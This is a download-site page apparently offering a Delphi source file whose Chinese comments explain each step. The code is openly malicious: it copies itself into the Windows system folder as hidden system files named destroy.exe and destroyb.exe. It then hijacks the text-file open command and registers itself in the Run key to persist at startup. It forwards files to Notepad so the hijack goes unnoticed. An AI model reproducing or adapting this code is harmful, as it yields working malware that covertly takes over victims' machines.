⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unit1.pas

📁 随着计算机信息技术的飞速发展
💻 PAS
字号:
unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls,shellapi;
type
  TForm1 = class(TForm)
    procedure SelfCopy;
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.dfm}

procedure Tform1.SelfCopy;
var   Path,Value:array [0..255] of char;
Hk:HKEY;
S:string;
begin
//取得系统文件夹
GetSystemDirectory(Path,256);
//转换成字符串
s:=strpas(Path);
//把自身拷贝到系统目录下为destroy.exe和destroyb.exe
CopyFile(pchar(paramstr(0)),pchar(S+'\destroy.exe'),false);
CopyFile(pchar(paramstr(0)),pchar(S+'\destroyb.exe'),false);
SetFileAttributes(pchar(S+'\destroy.exe'),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(pchar(S+'\destroyb.exe'),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
//设置刚才的两个文件属性为系统和隐藏
RegOpenKey(HKEY_CLASSES_ROOT,'txtfile\shell\open\command',Hk);
Value:='destroyb.exe %1';
//把destroyb.exe和文本文件关联
RegSetValueEx(Hk,'',0,REG_SZ,@Value,length(Value));
//设置destroy.exe随windows自启动
RegOpenKey(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run',Hk);
Value:='destroy.exe';
RegSetValueEx(Hk,'destroy',0,REG_SZ,@Value,length(Value));
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  //调用以上过程
  selfcopy;
  //如果本程序运行时带参数,则把参数传递给记事本程序notepad.exe。
  if paramcount=1 then
  begin
    shellexecute(0,'open','notepad.exe',pchar(paramstr(1)),nil,sw_normal);
  end;
  //'mutex'是互斥对象名, 通过它实现运行该程序的一个实例
  CreateMutex(nil, True,'mutex');
  if (GetLastError = ERROR_ALREADY_EXISTS) then Halt
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -